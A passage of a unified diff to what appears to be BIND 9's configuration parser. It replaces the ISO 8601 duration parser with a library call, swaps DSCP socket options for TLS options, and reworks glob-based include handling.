- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
- * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
- * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
- * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
- * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
- * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER
- * IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
- * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN
- * IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-static isc_result_t
-duration_fromtext(isc_textregion_t *source, cfg_duration_t *duration) {
-	char buf[CFG_DURATION_MAXLEN];
-	char *P, *X, *T, *W, *str;
-	bool not_weeks = false;
-	int i;
-
-	/*
-	 * Copy the buffer as it may not be NULL terminated.
-	 * Anyone having a duration longer than 63 characters is crazy.
-	 */
-	if (source->length > sizeof(buf) - 1) {
-		return (ISC_R_BADNUMBER);
-	}
-	/* Copy source->length bytes and NULL terminate. */
-	snprintf(buf, sizeof(buf), "%.*s", (int)source->length, source->base);
-	str = buf;
-
-	/* Clear out duration. */
-	for (i = 0; i < 7; i++) {
-		duration->parts[i] = 0;
-	}
-
-	/* Every duration starts with 'P' */
-	P = strpbrk(str, "Pp");
-	if (P == NULL) {
-		return (ISC_R_BADNUMBER);
-	}
-
-	/* Record the time indicator. */
-	T = strpbrk(str, "Tt");
-
-	/* Record years. */
-	X = strpbrk(str, "Yy");
-	if (X != NULL) {
-		duration->parts[0] = atoi(str + 1);
-		str = X;
-		not_weeks = true;
-	}
-
-	/* Record months. */
-	X = strpbrk(str, "Mm");
-
-	/*
-	 * M could be months or minutes. This is months if there is no time
-	 * part, or this M indicator is before the time indicator.
-	 */
-	if (X != NULL && (T == NULL || (size_t)(X - P) < (size_t)(T - P))) {
-		duration->parts[1] = atoi(str + 1);
-		str = X;
-		not_weeks = true;
-	}
-
-	/* Record days. */
-	X = strpbrk(str, "Dd");
-	if (X != NULL) {
-		duration->parts[3] = atoi(str + 1);
-		str = X;
-		not_weeks = true;
-	}
-
-	/* Time part? */
-	if (T != NULL) {
-		str = T;
-		not_weeks = true;
-	}
-
-	/* Record hours. */
-	X = strpbrk(str, "Hh");
-	if (X != NULL && T != NULL) {
-		duration->parts[4] = atoi(str + 1);
-		str = X;
-		not_weeks = true;
-	}
-
-	/* Record minutes. */
-	X = strpbrk(str, "Mm");
-
-	/*
-	 * M could be months or minutes. This is minutes if there is a time
-	 * part and the M indicator is behind the time indicator.
-	 */
-	if (X != NULL && T != NULL && (size_t)(X - P) > (size_t)(T - P)) {
-		duration->parts[5] = atoi(str + 1);
-		str = X;
-		not_weeks = true;
-	}
-
-	/* Record seconds. */
-	X = strpbrk(str, "Ss");
-	if (X != NULL && T != NULL) {
-		duration->parts[6] = atoi(str + 1);
-		str = X;
-		not_weeks = true;
-	}
-
-	/* Or is the duration configured in weeks? */
-	W = strpbrk(buf, "Ww");
-	if (W != NULL) {
-		if (not_weeks) {
-			/* Mix of weeks and other indicators is not allowed */
-			return (ISC_R_BADNUMBER);
-		} else {
-			duration->parts[2] = atoi(str + 1);
-			str = W;
-		}
-	}
-
-	/* Deal with trailing garbage. */
-	if (str[1] != '\0') {
-		return (ISC_R_BADNUMBER);
-	}
-
-	return (ISC_R_SUCCESS);
+	return isccfg_duration_toseconds(&(obj->value.duration));
 }
 
 static isc_result_t
 parse_duration(cfg_parser_t *pctx, cfg_obj_t **ret) {
 	isc_result_t result;
 	cfg_obj_t *obj = NULL;
-	cfg_duration_t duration;
+	isccfg_duration_t duration;
 
-	duration.unlimited = false;
-
-	if (toupper((unsigned char)TOKEN_STRING(pctx)[0]) == 'P') {
-		result = duration_fromtext(&pctx->token.value.as_textregion,
-					   &duration);
-		duration.iso8601 = true;
-	} else {
-		uint32_t ttl;
-		result = dns_ttl_fromtext(&pctx->token.value.as_textregion,
-					  &ttl);
-		/*
-		 * With dns_ttl_fromtext() the information on optional units.
-		 * is lost, and is treated as seconds from now on.
-		 */
-		for (int i = 0; i < 6; i++) {
-			duration.parts[i] = 0;
-		}
-		duration.parts[6] = ttl;
-		duration.iso8601 = false;
-	}
+	result = isccfg_parse_duration(&pctx->token.value.as_textregion,
+				       &duration);
 
 	if (result == ISC_R_RANGE) {
 		cfg_parser_error(pctx, CFG_LOG_NEAR,
@@ -1352,7 +1203,7 @@ cfg_parse_duration_or_unlimited(cfg_parser_t *pctx, const cfg_type_t *type,
 				cfg_obj_t **ret) {
 	isc_result_t result;
 	cfg_obj_t *obj = NULL;
-	cfg_duration_t duration;
+	isccfg_duration_t duration;
 
 	UNUSED(type);
 
@@ -1398,18 +1249,15 @@ cfg_parse_duration_or_unlimited(cfg_parser_t *pctx, const cfg_type_t *type,
  *
  * A duration can also be a TTL value (number + optional unit).
  */
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_duration = {
-	"duration",	  cfg_parse_duration, cfg_print_duration,
-	cfg_doc_terminal, &cfg_rep_duration,  NULL
-};
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_duration_or_unlimited = {
-	"duration_or_unlimited",
-	cfg_parse_duration_or_unlimited,
-	cfg_print_duration_or_unlimited,
-	cfg_doc_terminal,
-	&cfg_rep_duration,
-	NULL
-};
+cfg_type_t cfg_type_duration = { "duration",	     cfg_parse_duration,
+				 cfg_print_duration, cfg_doc_terminal,
+				 &cfg_rep_duration,  NULL };
+cfg_type_t cfg_type_duration_or_unlimited = { "duration_or_unlimited",
+					      cfg_parse_duration_or_unlimited,
+					      cfg_print_duration_or_unlimited,
+					      cfg_doc_terminal,
+					      &cfg_rep_duration,
+					      NULL };
 
 /*
  * qstring (quoted string), ustring (unquoted string), astring
@@ -1669,17 +1517,22 @@ cfg_print_ustring(cfg_printer_t *pctx, const cfg_obj_t *obj) {
 }
 
 static void
-print_qstring(cfg_printer_t *pctx, const cfg_obj_t *obj) {
+print_rawqstring(cfg_printer_t *pctx, const isc_textregion_t string) {
 	cfg_print_cstr(pctx, "\"");
-	for (size_t i = 0; i < obj->value.string.length; i++) {
-		if (obj->value.string.base[i] == '"') {
+	for (size_t i = 0; i < string.length; i++) {
+		if (string.base[i] == '"') {
 			cfg_print_cstr(pctx, "\\");
 		}
-		cfg_print_chars(pctx, &obj->value.string.base[i], 1);
+		cfg_print_chars(pctx, (const char *)&string.base[i], 1);
 	}
 	cfg_print_cstr(pctx, "\"");
 }
 
+static void
+print_qstring(cfg_printer_t *pctx, const cfg_obj_t *obj) {
+	print_rawqstring(pctx, obj->value.string);
+}
+
 static void
 print_sstring(cfg_printer_t *pctx, const cfg_obj_t *obj) {
 	cfg_print_cstr(pctx, "\"");
@@ -1700,6 +1553,27 @@ free_string(cfg_parser_t *pctx, cfg_obj_t *obj) {
 		    obj->value.string.length + 1);
 }
 
+static void
+copy_string(cfg_parser_t *pctx, const cfg_obj_t *obj, isc_textregion_t *dst) {
+	if (dst->base != NULL) {
+		INSIST(dst->length != 0);
+		isc_mem_put(pctx->mctx, dst->base, dst->length + 1);
+	}
+	dst->length = obj->value.string.length;
+	dst->base = isc_mem_get(pctx->mctx, dst->length + 1);
+	memmove(dst->base, obj->value.string.base, dst->length);
+	dst->base[dst->length] = '\0';
+}
+
+static void
+free_sockaddrtls(cfg_parser_t *pctx, cfg_obj_t *obj) {
+	if (obj->value.sockaddrtls.tls.base != NULL) {
+		INSIST(obj->value.sockaddrtls.tls.length != 0);
+		isc_mem_put(pctx->mctx, obj->value.sockaddrtls.tls.base,
+			    obj->value.sockaddrtls.tls.length + 1);
+	}
+}
+
 bool
 cfg_obj_isstring(const cfg_obj_t *obj) {
 	REQUIRE(obj != NULL);
@@ -1713,41 +1587,36 @@ cfg_obj_asstring(const cfg_obj_t *obj) {
 }
 
 /* Quoted string only */
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_qstring = {
-	"quoted_string",  cfg_parse_qstring, print_qstring,
-	cfg_doc_terminal, &cfg_rep_string,   NULL
-};
+cfg_type_t cfg_type_qstring = { "quoted_string", cfg_parse_qstring,
+				print_qstring,	 cfg_doc_terminal,
+				&cfg_rep_string, NULL };
 
 /* Unquoted string only */
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_ustring = {
-	"string",	  parse_ustring,   cfg_print_ustring,
-	cfg_doc_terminal, &cfg_rep_string, NULL
-};
+cfg_type_t cfg_type_ustring = { "string",	   parse_ustring,
+				cfg_print_ustring, cfg_doc_terminal,
+				&cfg_rep_string,   NULL };
 
 /* Any string (quoted or unquoted); printed with quotes */
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_astring = {
-	"string",	  cfg_parse_astring, print_qstring,
-	cfg_doc_terminal, &cfg_rep_string,   NULL
-};
+cfg_type_t cfg_type_astring = { "string",	 cfg_parse_astring,
+				print_qstring,	 cfg_doc_terminal,
+				&cfg_rep_string, NULL };
 
 /*
  * Any string (quoted or unquoted); printed with quotes.
  * If CFG_PRINTER_XKEY is set when printing the string will be '?' out.
  */
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_sstring = {
-	"string",	  cfg_parse_sstring, print_sstring,
-	cfg_doc_terminal, &cfg_rep_string,   NULL
-};
+cfg_type_t cfg_type_sstring = { "string",	 cfg_parse_sstring,
+				print_sstring,	 cfg_doc_terminal,
+				&cfg_rep_string, NULL };
 
 /*
  * Text enclosed in brackets. Used to pass a block of configuration
  * text to dynamic library or external application. Checked for
  * bracket balance, but not otherwise parsed.
  */
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_bracketed_text = {
-	"bracketed_text", parse_btext,	   print_btext,
-	doc_btext,	  &cfg_rep_string, NULL
-};
+cfg_type_t cfg_type_bracketed_text = { "bracketed_text", parse_btext,
+				       print_btext,	 doc_btext,
+				       &cfg_rep_string,	 NULL };
 
 #if defined(HAVE_GEOIP2)
 /*
@@ -1790,7 +1659,8 @@ parse_geoip(cfg_parser_t *pctx, const cfg_type_t *type, cfg_obj_t **ret) {
 	if (pctx->token.type == isc_tokentype_string) {
 		CHECK(cfg_gettoken(pctx, 0));
 		if (strcasecmp(TOKEN_STRING(pctx), "db") == 0 &&
-		    obj->value.tuple[1] == NULL) {
+		    obj->value.tuple[1] == NULL)
+		{
 			CHECK(cfg_parse_obj(pctx, fields[1].type,
 					    &obj->value.tuple[1]));
 		} else {
@@ -1925,14 +1795,12 @@ static cfg_type_t cfg_type_addrmatchelt = { "address_match_element",
 /*%
  * A bracketed address match list
  */
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_bracketed_aml = {
-	"bracketed_aml",
-	cfg_parse_bracketed_list,
-	cfg_print_bracketed_list,
-	cfg_doc_bracketed_list,
-	&cfg_rep_list,
-	&cfg_type_addrmatchelt
-};
+cfg_type_t cfg_type_bracketed_aml = { "bracketed_aml",
+				      cfg_parse_bracketed_list,
+				      cfg_print_bracketed_list,
+				      cfg_doc_bracketed_list,
+				      &cfg_rep_list,
+				      &cfg_type_addrmatchelt };
 
 /*
  * Optional bracketed text
@@ -1973,14 +1841,12 @@ doc_optional_btext(cfg_printer_t *pctx, const cfg_type_t *type) {
 	cfg_print_cstr(pctx, "[ { <unspecified-text> } ]");
 }
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_optional_bracketed_text = {
-	"optional_btext",
-	parse_optional_btext,
-	print_optional_btext,
-	doc_optional_btext,
-	NULL,
-	NULL
-};
+cfg_type_t cfg_type_optional_bracketed_text = { "optional_btext",
+						parse_optional_btext,
+						print_optional_btext,
+						doc_optional_btext,
+						NULL,
+						NULL };
 
 /*
  * Booleans
@@ -2057,10 +1923,9 @@ cfg_print_boolean(cfg_printer_t *pctx, const cfg_obj_t *obj) {
 	}
 }
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_boolean = {
-	"boolean",	  cfg_parse_boolean, cfg_print_boolean,
-	cfg_doc_terminal, &cfg_rep_boolean,  NULL
-};
+cfg_type_t cfg_type_boolean = { "boolean",	   cfg_parse_boolean,
+				cfg_print_boolean, cfg_doc_terminal,
+				&cfg_rep_boolean,  NULL };
 
 /*
  * Lists.
@@ -2178,7 +2043,8 @@ print_list(cfg_printer_t *pctx, const cfg_obj_t *obj) {
 	const cfg_listelt_t *elt;
 
 	for (elt = ISC_LIST_HEAD(*list); elt != NULL;
-	     elt = ISC_LIST_NEXT(elt, link)) {
+	     elt = ISC_LIST_NEXT(elt, link))
+	{
 		if ((pctx->flags & CFG_PRINTER_ONELINE) != 0) {
 			cfg_print_obj(pctx, elt->obj);
 			cfg_print_cstr(pctx, "; ");
@@ -2268,14 +2134,17 @@ cfg_parse_spacelist(cfg_parser_t *pctx, const cfg_type_t *listtype,
 
 void
 cfg_print_spacelist(cfg_printer_t *pctx, const cfg_obj_t *obj) {
-	const cfg_list_t *list = &obj->value.list;
-	const cfg_listelt_t *elt;
+	const cfg_list_t *list = NULL;
+	const cfg_listelt_t *elt = NULL;
 
 	REQUIRE(pctx != NULL);
 	REQUIRE(obj != NULL);
 
+	list = &obj->value.list;
+
 	for (elt = ISC_LIST_HEAD(*list); elt != NULL;
-	     elt = ISC_LIST_NEXT(elt, link)) {
+	     elt = ISC_LIST_NEXT(elt, link))
+	{
 		cfg_print_obj(pctx, elt->obj);
 		if (ISC_LIST_NEXT(elt, link) != NULL) {
 			cfg_print_cstr(pctx, " ");
@@ -2388,6 +2257,9 @@ cfg_parse_mapbody(cfg_parser_t *pctx, const cfg_type_t *type, cfg_obj_t **ret) {
 		 * clause can occur.
 		 */
 		if (strcasecmp(TOKEN_STRING(pctx), "include") == 0) {
+			glob_t g;
+			int rc;
+
 			/*
 			 * Turn the file name into a temporary configuration
 			 * object just so that it is not overwritten by the
@@ -2397,19 +2269,39 @@ cfg_parse_mapbody(cfg_parser_t *pctx, const cfg_type_t *type, cfg_obj_t **ret) {
 					    &includename));
 			CHECK(parse_semicolon(pctx));
 
-			/* Allow include to specify a pattern that follows
-			 * the same rules as the shell e.g "/path/zone*.conf" */
-			glob_t glob_obj;
-			CHECK(isc_glob(includename->value.string.base,
-				       &glob_obj));
-			cfg_obj_destroy(pctx, &includename);
+			if (includename->value.string.length == 0) {
+				CHECK(ISC_R_FILENOTFOUND);
+			}
+
+			/*
+			 * Allow include to specify a pattern that follows
+			 * the same rules as the shell e.g "/path/zone*.conf"
+			 */
+			rc = glob(cfg_obj_asstring(includename), GLOB_ERR, NULL,
+				  &g);
 
-			for (size_t i = 0; i < glob_obj.gl_pathc; ++i) {
-				CHECK(parser_openfile(pctx,
-						      glob_obj.gl_pathv[i]));
+			switch (rc) {
+			case 0:
+				break;
+			case GLOB_NOMATCH:
+				CHECK(ISC_R_FILENOTFOUND);
+				break;
+			case GLOB_NOSPACE:
+				CHECK(ISC_R_NOMEMORY);
+				break;
+			default:
+				if (errno == 0) {
+					CHECK(ISC_R_IOERROR);
+				}
+				CHECK(isc_errno_toresult(errno));
 			}
 
-			isc_globfree(&glob_obj);
+			for (size_t i = 0; i < g.gl_pathc; ++i) {
+				CHECK(parser_openfile(pctx, g.gl_pathv[i]));
+			}
+
+			cfg_obj_destroy(pctx, &includename);
+			globfree(&g);
 
 			goto redo;
 		}
@@ -2417,9 +2309,11 @@ cfg_parse_mapbody(cfg_parser_t *pctx, const cfg_type_t *type, cfg_obj_t **ret) {
 		clause = NULL;
 		for (clauseset = clausesets; *clauseset != NULL; clauseset++) {
 			for (clause = *clauseset; clause->name != NULL;
-			     clause++) {
+			     clause++)
+			{
 				if (strcasecmp(TOKEN_STRING(pctx),
-					       clause->name) == 0) {
+					       clause->name) == 0)
+				{
 					goto done;
 				}
 			}
@@ -2667,7 +2561,8 @@ cfg_print_mapbody(cfg_printer_t *pctx, const cfg_obj_t *obj) {
 	REQUIRE(obj != NULL);
 
 	for (clauseset = obj->value.map.clausesets; *clauseset != NULL;
-	     clauseset++) {
+	     clauseset++)
+	{
 		isc_symvalue_t symval;
 		const cfg_clausedef_t *clause;
 
@@ -2683,7 +2578,8 @@ cfg_print_mapbody(cfg_printer_t *pctx, const cfg_obj_t *obj) {
 					cfg_listelt_t *elt;
 					for (elt = ISC_LIST_HEAD(*list);
 					     elt != NULL;
-					     elt = ISC_LIST_NEXT(elt, link)) {
+					     elt = ISC_LIST_NEXT(elt, link))
+					{
 						print_symval(pctx, clause->name,
 							     elt->obj);
 					}
@@ -2695,8 +2591,7 @@ cfg_print_mapbody(cfg_printer_t *pctx, const cfg_obj_t *obj) {
 			} else if (result == ISC_R_NOTFOUND) {
 				/* do nothing */
 			} else {
-				INSIST(0);
-				ISC_UNREACHABLE();
+				UNREACHABLE();
 			}
 		}
 	}
@@ -2747,7 +2642,9 @@ cfg_doc_mapbody(cfg_printer_t *pctx, const cfg_type_t *type) {
 			{
 				continue;
 			}
-			if ((clause->flags & CFG_CLAUSEFLAG_ANCIENT) != 0) {
+			if ((clause->flags & CFG_CLAUSEFLAG_ANCIENT) != 0 ||
+			    (clause->flags & CFG_CLAUSEFLAG_NODOC) != 0)
+			{
 				continue;
 			}
 			cfg_print_cstr(pctx, clause->name);
@@ -2803,7 +2700,9 @@ cfg_doc_map(cfg_printer_t *pctx, const cfg_type_t *type) {
 			{
 				continue;
 			}
-			if ((clause->flags & CFG_CLAUSEFLAG_ANCIENT) != 0) {
+			if ((clause->flags & CFG_CLAUSEFLAG_ANCIENT) != 0 ||
+			    (clause->flags & CFG_CLAUSEFLAG_NODOC) != 0)
+			{
 				continue;
 			}
 			cfg_print_indent(pctx);
@@ -2944,10 +2843,9 @@ parse_token(cfg_parser_t *pctx, const cfg_type_t *type, cfg_obj_t **ret) {
 	return (result);
 }
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_token = {
-	"token",	  parse_token,	   cfg_print_ustring,
-	cfg_doc_terminal, &cfg_rep_string, NULL
-};
+cfg_type_t cfg_type_token = { "token",		 parse_token,
+			      cfg_print_ustring, cfg_doc_terminal,
+			      &cfg_rep_string,	 NULL };
 
 /*
  * An unsupported option.  This is just a list of tokens with balanced braces
@@ -2996,10 +2894,9 @@ parse_unsupported(cfg_parser_t *pctx, const cfg_type_t *type, cfg_obj_t **ret) {
 	return (result);
 }
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_unsupported = {
-	"unsupported",	  parse_unsupported, cfg_print_spacelist,
-	cfg_doc_terminal, &cfg_rep_list,     NULL
-};
+cfg_type_t cfg_type_unsupported = { "unsupported",	 parse_unsupported,
+				    cfg_print_spacelist, cfg_doc_terminal,
+				    &cfg_rep_list,	 NULL };
 
 /*
  * Try interpreting the current token as a network address.
@@ -3029,8 +2926,7 @@ token_addr(cfg_parser_t *pctx, unsigned int flags, isc_netaddr_t *na) {
 			isc_netaddr_any6(na);
 			return (ISC_R_SUCCESS);
 		} else {
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 		}
 	} else {
 		if ((flags & (CFG_ADDR_V4OK | CFG_ADDR_V4PREFIXOK)) != 0) {
@@ -3053,7 +2949,7 @@ token_addr(cfg_parser_t *pctx, unsigned int flags, isc_netaddr_t *na) {
 			}
 		}
 		if ((flags & CFG_ADDR_V6OK) != 0 && strlen(s) <= 127U) {
-			char buf[128];	   /* see lib/bind9/getaddresses.c */
+			char buf[128];	   /* see isc_getaddresses() */
 			char *d;	   /* zone delimiter */
 			uint32_t zone = 0; /* scope zone ID */
 
@@ -3178,29 +3074,6 @@ cfg_print_rawaddr(cfg_printer_t *pctx, const isc_netaddr_t *na) {
 			isc_buffer_usedlength(&buf));
 }
 
-isc_result_t
-cfg_parse_dscp(cfg_parser_t *pctx, isc_dscp_t *dscp) {
-	isc_result_t result;
-
-	REQUIRE(pctx != NULL);
-	REQUIRE(dscp != NULL);
-
-	CHECK(cfg_gettoken(pctx, ISC_LEXOPT_NUMBER | ISC_LEXOPT_CNUMBER));
-
-	if (pctx->token.type != isc_tokentype_number) {
-		cfg_parser_error(pctx, CFG_LOG_NEAR, "expected number");
-		return (ISC_R_UNEXPECTEDTOKEN);
-	}
-	if (pctx->token.value.as_ulong > 63U) {
-		cfg_parser_error(pctx, CFG_LOG_NEAR, "dscp out of range");
-		return (ISC_R_RANGE);
-	}
-	*dscp = (isc_dscp_t)(pctx->token.value.as_ulong);
-	return (ISC_R_SUCCESS);
-cleanup:
-	return (result);
-}
-
 /* netaddr */
 
 static unsigned int netaddr_flags = CFG_ADDR_V4OK | CFG_ADDR_V6OK;
@@ -3219,7 +3092,6 @@ parse_netaddr(cfg_parser_t *pctx, const cfg_type_t *type, cfg_obj_t **ret) {
 	CHECK(cfg_create_obj(pctx, type, &obj));
 	CHECK(cfg_parse_rawaddr(pctx, flags, &netaddr));
 	isc_sockaddr_fromnetaddr(&obj->value.sockaddr, &netaddr, 0);
-	obj->value.sockaddrdscp.dscp = -1;
 	*ret = obj;
 	return (ISC_R_SUCCESS);
 cleanup:
@@ -3258,30 +3130,25 @@ cfg_doc_netaddr(cfg_printer_t *pctx, const cfg_type_t *type) {
 	}
 }
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_netaddr = {
-	"netaddr",	 parse_netaddr,	    cfg_print_sockaddr,
-	cfg_doc_netaddr, &cfg_rep_sockaddr, &netaddr_flags
-};
+cfg_type_t cfg_type_netaddr = { "netaddr",	    parse_netaddr,
+				cfg_print_sockaddr, cfg_doc_netaddr,
+				&cfg_rep_sockaddr,  &netaddr_flags };
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_netaddr4 = {
-	"netaddr4",	 parse_netaddr,	    cfg_print_sockaddr,
-	cfg_doc_netaddr, &cfg_rep_sockaddr, &netaddr4_flags
-};
+cfg_type_t cfg_type_netaddr4 = { "netaddr4",	     parse_netaddr,
+				 cfg_print_sockaddr, cfg_doc_netaddr,
+				 &cfg_rep_sockaddr,  &netaddr4_flags };
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_netaddr4wild = {
-	"netaddr4wild",	 parse_netaddr,	    cfg_print_sockaddr,
-	cfg_doc_netaddr, &cfg_rep_sockaddr, &netaddr4wild_flags
-};
+cfg_type_t cfg_type_netaddr4wild = { "netaddr4wild",	 parse_netaddr,
+				     cfg_print_sockaddr, cfg_doc_netaddr,
+				     &cfg_rep_sockaddr,	 &netaddr4wild_flags };
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_netaddr6 = {
-	"netaddr6",	 parse_netaddr,	    cfg_print_sockaddr,
-	cfg_doc_netaddr, &cfg_rep_sockaddr, &netaddr6_flags
-};
+cfg_type_t cfg_type_netaddr6 = { "netaddr6",	     parse_netaddr,
+				 cfg_print_sockaddr, cfg_doc_netaddr,
+				 &cfg_rep_sockaddr,  &netaddr6_flags };
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_netaddr6wild = {
-	"netaddr6wild",	 parse_netaddr,	    cfg_print_sockaddr,
-	cfg_doc_netaddr, &cfg_rep_sockaddr, &netaddr6wild_flags
-};
+cfg_type_t cfg_type_netaddr6wild = { "netaddr6wild",	 parse_netaddr,
+				     cfg_print_sockaddr, cfg_doc_netaddr,
+				     &cfg_rep_sockaddr,	 &netaddr6wild_flags };
 
 /* netprefix */
 
@@ -3313,8 +3180,7 @@ cfg_parse_netprefix(cfg_parser_t *pctx, const cfg_type_t *type,
 		addrlen = 128;
 		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 	expectprefix = (result == ISC_R_IPV4PREFIX);
 	CHECK(cfg_peektoken(pctx, 0));
@@ -3388,10 +3254,9 @@ cfg_obj_asnetprefix(const cfg_obj_t *obj, isc_netaddr_t *netaddr,
 	*prefixlen = obj->value.netprefix.prefixlen;
 }
 
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_netprefix = {
-	"netprefix",	  cfg_parse_netprefix, print_netprefix,
-	cfg_doc_terminal, &cfg_rep_netprefix,  NULL
-};
+cfg_type_t cfg_type_netprefix = { "netprefix",	      cfg_parse_netprefix,
+				  print_netprefix,    cfg_doc_terminal,
+				  &cfg_rep_netprefix, NULL };
 
 static isc_result_t
 parse_sockaddrsub(cfg_parser_t *pctx, const cfg_type_t *type, int flags,
@@ -3399,25 +3264,39 @@ parse_sockaddrsub(cfg_parser_t *pctx, const cfg_type_t *type, int flags,
 	isc_result_t result;
 	isc_netaddr_t netaddr;
 	in_port_t port = 0;
-	isc_dscp_t dscp = -1;
 	cfg_obj_t *obj = NULL;
-	int have_port = 0, have_dscp = 0;
+	int have_port = 0;
+	int have_tls = 0;
 
 	CHECK(cfg_create_obj(pctx, type, &obj));
 	CHECK(cfg_parse_rawaddr(pctx, flags, &netaddr));
+
 	for (;;) {
 		CHECK(cfg_peektoken(pctx, 0));
 		if (pctx->token.type == isc_tokentype_string) {
 			if (strcasecmp(TOKEN_STRING(pctx), "port") == 0) {
+				if ((pctx->flags & CFG_PCTX_NODEPRECATED) ==
+					    0 &&
+				    (flags & CFG_ADDR_PORTOK) == 0)
+				{
+					cfg_parser_warning(
+						pctx, 0,
+						"token 'port' is deprecated");
+				}
 				CHECK(cfg_gettoken(pctx, 0)); /* read "port" */
 				CHECK(cfg_parse_rawport(pctx, flags, &port));
 				++have_port;
-			} else if ((flags & CFG_ADDR_DSCPOK) != 0 &&
-				   strcasecmp(TOKEN_STRING(pctx), "dscp") == 0)
+			} else if ((flags & CFG_ADDR_TLSOK) != 0 &&
+				   strcasecmp(TOKEN_STRING(pctx), "tls") == 0)
 			{
-				CHECK(cfg_gettoken(pctx, 0)); /* read "dscp" */
-				CHECK(cfg_parse_dscp(pctx, &dscp));
-				++have_dscp;
+				cfg_obj_t *tls = NULL;
+
+				CHECK(cfg_gettoken(pctx, 0)); /* read "tls" */
+				CHECK(cfg_parse_astring(pctx, NULL, &tls));
+				copy_string(pctx, tls,
+					    &obj->value.sockaddrtls.tls);
+				CLEANUP_OBJ(tls);
+				++have_tls;
 			} else {
 				break;
 			}
@@ -3425,19 +3304,19 @@ parse_sockaddrsub(cfg_parser_t *pctx, const cfg_type_t *type, int flags,
 			break;
 		}
 	}
+
 	if (have_port > 1) {
 		cfg_parser_error(pctx, 0, "expected at most one port");
 		result = ISC_R_UNEXPECTEDTOKEN;
 		goto cleanup;
 	}
-
-	if (have_dscp > 1) {
-		cfg_parser_error(pctx, 0, "expected at most one dscp");
+	if (have_tls > 1) {
+		cfg_parser_error(pctx, 0, "expected at most one tls");
 		result = ISC_R_UNEXPECTEDTOKEN;
 		goto cleanup;
 	}
+
 	isc_sockaddr_fromnetaddr(&obj->value.sockaddr, &netaddr, port);
-	obj->value.sockaddrdscp.dscp = dscp;
 	*ret = obj;
 	return (ISC_R_SUCCESS);
 
@@ -3446,18 +3325,17 @@ parse_sockaddrsub(cfg_parser_t *pctx, const cfg_type_t *type, int flags,
 	return (result);
 }
 
-static unsigned int sockaddr_flags = CFG_ADDR_V4OK | CFG_ADDR_V6OK;
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_sockaddr = {
-	"sockaddr",	  cfg_parse_sockaddr, cfg_print_sockaddr,
-	cfg_doc_sockaddr, &cfg_rep_sockaddr,  &sockaddr_flags
-};
+static unsigned int sockaddr_flags = CFG_ADDR_V4OK | CFG_ADDR_V6OK |
+				     CFG_ADDR_PORTOK;
+cfg_type_t cfg_type_sockaddr = { "sockaddr",	     cfg_parse_sockaddr,
+				 cfg_print_sockaddr, cfg_doc_sockaddr,
+				 &cfg_rep_sockaddr,  &sockaddr_flags };
 
-static unsigned int sockaddrdscp_flags = CFG_ADDR_V4OK | CFG_ADDR_V6OK |
-					 CFG_ADDR_DSCPOK;
-LIBISCCFG_EXTERNAL_DATA cfg_type_t cfg_type_sockaddrdscp = {
-	"sockaddr",	  cfg_parse_sockaddr, cfg_print_sockaddr,
-	cfg_doc_sockaddr, &cfg_rep_sockaddr,  &sockaddrdscp_flags
-};
+static unsigned int sockaddrtls_flags = CFG_ADDR_V4OK | CFG_ADDR_V6OK |
+					CFG_ADDR_PORTOK | CFG_ADDR_TLSOK;
+cfg_type_t cfg_type_sockaddrtls = { "sockaddrtls",	  cfg_parse_sockaddrtls,
+				    cfg_print_sockaddr,	  cfg_doc_sockaddr,
+				    &cfg_rep_sockaddrtls, &sockaddrtls_flags };
 
 isc_result_t
 cfg_parse_sockaddr(cfg_parser_t *pctx, const cfg_type_t *type,
@@ -3473,6 +3351,20 @@ cfg_parse_sockaddr(cfg_parser_t *pctx, const cfg_type_t *type,
 	return (parse_sockaddrsub(pctx, &cfg_type_sockaddr, *flagp, ret));
 }
 
+isc_result_t
+cfg_parse_sockaddrtls(cfg_parser_t *pctx, const cfg_type_t *type,
+		      cfg_obj_t **ret) {
+	const unsigned int *flagp;
+
+	REQUIRE(pctx != NULL);
+	REQUIRE(type != NULL);
+	REQUIRE(ret != NULL && *ret == NULL);
+
+	flagp = type->of;
+
+	return (parse_sockaddrsub(pctx, &cfg_type_sockaddrtls, *flagp, ret));
+}
+
 void
 cfg_print_sockaddr(cfg_printer_t *pctx, const cfg_obj_t *obj) {
 	isc_netaddr_t netaddr;
